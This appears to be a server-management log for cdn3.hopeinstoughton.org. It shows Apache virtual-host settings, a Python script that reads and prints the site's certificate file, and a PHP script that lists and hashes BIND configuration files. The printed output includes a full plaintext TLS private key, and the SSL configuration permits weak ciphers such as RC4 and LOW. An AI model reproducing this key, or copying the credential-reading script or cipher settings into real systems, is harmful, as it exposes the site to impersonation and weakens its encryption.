DocumentRoot /var/www/hopeinstoughton_cdn3
<Directory /var/www/hopeinstoughton_cdn3>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn3_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn3_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
<VirtualHost *:443>
ServerName cdn3.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn3
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
<Directory /var/www/hopeinstoughton_cdn3>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn3_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
</VirtualHost>
2026-01-03 19:30:11:
PUT: /tmp/pkp269990
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:30:12:
chmod 755 /tmp/pkp269990; /tmp/pkp269990; rm /tmp/pkp269990
2026-01-03 19:30:12:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0 5377
3b:c8:63:ac:39:11:d9:7c:8a:7e:ad:4e:8a:ae:bc:a0
-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBi0g2VD5GyDr9y9SVhC04VnjMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTY0MzE4WhcNMjYwNDAzMTY0MzE3WjAjMSEwHwYDVQQD
ExhjZG4zLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQC5/LSx+/4+d31uAh2xj8Co0jfhji1celcy3XLxsOsBhP8IJjIC
f6Du/F14BSxNEWv91V6kcchAf0bMcHezsexB/j/036dz3Q1bFTRXYVauih9a/8ZL
rb/8u6WvfG6mg7fA7h1sW4KNXap3EfS/ulllrJrNJiiIzuPoNto0wTBrl5zW5+Xo
y9e/bYjNhOc/vUdefBnj2O8g5HK3uszYE2ZHLeNCTpSLQGJpn2xxaoTBvln6S3hq
MkS/TxfzKXTJCX49RgPabldHdJgkuTXHGIEDttCQfEaTeuTG2683FItKY9D4KDGn
3ixj/MX2t33HIK9Eb0vCCPqvswb89PkKaSrzAgMBAAGjggIrMIICJzAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFJ3ThHgMWEqvWKDVoOkkUMo4M+hOMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMy5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTAwLmNybDCCAQYGCisGAQQB
1nkCBAIEgfcEgfQA8gB3AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3w
AAABm4TzfqUAAAQDAEgwRgIhAN963DUoWLlCIWLfxz8dtg+L9wlBBXdMl/nYyvjD
mRAXAiEA6F///rJtTn5gIQ6IZVgM44LV47UzUCPkc4urzi1Ets0AdwDRbqmlaAd+
ZjWgPzel3bwDpTxBEhTUiBj16TGzI8uVBAAAAZuE83+CAAAEAwBIMEYCIQCYtRgJ
AzbuggCVOTGZtOyqu+8fjvVW8ZJjjRqIDBoVNwIhANS52JOpp2gbe/2NrKUfYSA8
85kwCWjOCaqXcrH5uRgbMA0GCSqGSIb3DQEBCwUAA4IBAQCChjjDbzWAjhfeRb7C
ks5czbkzBTajsTHhA8jFUz9d1JPWgnjxkeA34sHQoLzySpmk/EGt7drJUIrGuoT8
plWk2L4GKgoYD4pWnnD1J21hSIuwSO35bJUF243HOlr0ftTeMVFQu3d8HCjvpbfg
rF04fFeVOJYroSGUECUUrSu9kqwTyNxNJRIHETTVFRBCE4jq5hvA5eV2Zsnt2vnF
dSuyg4XcS7JaBaWdgve7jFvHfKMMB0Fkfn4xXo4UoWrPmbEHI6+99wySpAnzxRo3
SULnadl235/bOCKU+RJh3mga41OfpVgWIbLA3y6t/In8FWjhoT/XyUEEoZ/aIvLV
qJJ7
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC5/LSx+/4+d31u
Ah2xj8Co0jfhji1celcy3XLxsOsBhP8IJjICf6Du/F14BSxNEWv91V6kcchAf0bM
cHezsexB/j/036dz3Q1bFTRXYVauih9a/8ZLrb/8u6WvfG6mg7fA7h1sW4KNXap3
EfS/ulllrJrNJiiIzuPoNto0wTBrl5zW5+Xoy9e/bYjNhOc/vUdefBnj2O8g5HK3
uszYE2ZHLeNCTpSLQGJpn2xxaoTBvln6S3hqMkS/TxfzKXTJCX49RgPabldHdJgk
uTXHGIEDttCQfEaTeuTG2683FItKY9D4KDGn3ixj/MX2t33HIK9Eb0vCCPqvswb8
9PkKaSrzAgMBAAECggEAB3EB0SiUzMQJe+LQHwAc7xmbdxtcsO62LsinJjN0G6yf
avXi71r9l0JNV8Ar5xjThNBKMp3Y1iJ23zbVcJZQWSLxRSduXZeScWVWTElj50+L
H0rM5iSZYg/R+m+p77X6dAOISthtz0vYRl5XYr/JKY/FO9W92RzKB/WrN7bObKeO
p/LK79xhW1yZ/PE7E01AKNF3qCulZArW1FSN2KSgvcp5b4PZWNE9GfmLOq2Y4oAG
xHi0zTLwV09t8Ocnq7NmR6b1akgilSCjxJbIsLFEAriM6MiGy9j5QM54Mi7Ioy8c
wH0rXLa8Ccz760LSKtwA7LFiUUYF0b6MBka+6sVp/QKBgQDfzB+bIKrUNVdRGjZ5
0v+KvUraVh91SV6PRfeXrvsDcpmX2atBtTiuemQaSfowb+id/lsLdztLVkbz/sdN
qhm8jYeoRKDZwoZqtGNBsJx9ItAPsjbyt7Ulp0milgHw2GZv3WC6fzeW9GAwv18v
pgjulctQitrQG2sZPFZP6MLC/QKBgQDUv8q6TuAFNUBHI0gtbPg8nWODcPWcCuLT
43aNL8C58JgUeiJ3bkZCMSItgVLKWAbZJJaIAGoClFH47sr7rHWf1i+qhwXzEltr
ImgFKLJTcpc4wcDJxjgHKZ7vpqfhLkabgm++cIM7zxc/r3RIbtJLWGM4N+lxTUCl
NwSAZvNgrwKBgQDDcM61OZ0V/5NGh37FewehkNfavtVwJufGdVLZC324sA8ENppB
otJiRQ5AixRL0p8xwtydsb19eFY0ZO6Gm6MoL+0lfPF/2kpqyyfXSTYQbiOHYZps
8xPmUyaSLzB4tXMYBBuiItFYKggK6kVlJjmsqfJJX0nh7d/kxPWXiWz0vQKBgBI4
nvdX/A3WIrw1BGCHnbcrT7OZQB/uOsElESlEdsA2IABY+Yy7EB9pL+Ev21RjN6rv
XEknp+yyoVattQrbGXPoF0sGp3bLErNZTglrE+LbxKHizk05weCzKt6hqm051mhJ
QqLP5h2APiCBOXdernovhsfw2fiPQkMkNCl/J8cXAoGAa03guXFKP9HgRAUUEhP8
A4abtoazS96Z3ccT4lhyH6J+9MHI6+fTyL1yzVL++yOy4Fdau0hCoj2NrsOoPPCB
vTlX2Vb8sv7WQq8gKnq8Zu8fJ3DHxgdGIjNV6Up9upe31rEaIHNzQlHR4MYjxN6S
Zs8yfR5s+lG+0PBITRbL/fI=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-03 19:30:12: Establishing a connection
2026-01-03 19:30:13:
PUT: /tmp/pkp180139
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:30:13:
runuser -l bind -s /bin/bash -c '/tmp/pkp180139; rm /tmp/pkp180139'
2026-01-03 19:30:13:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
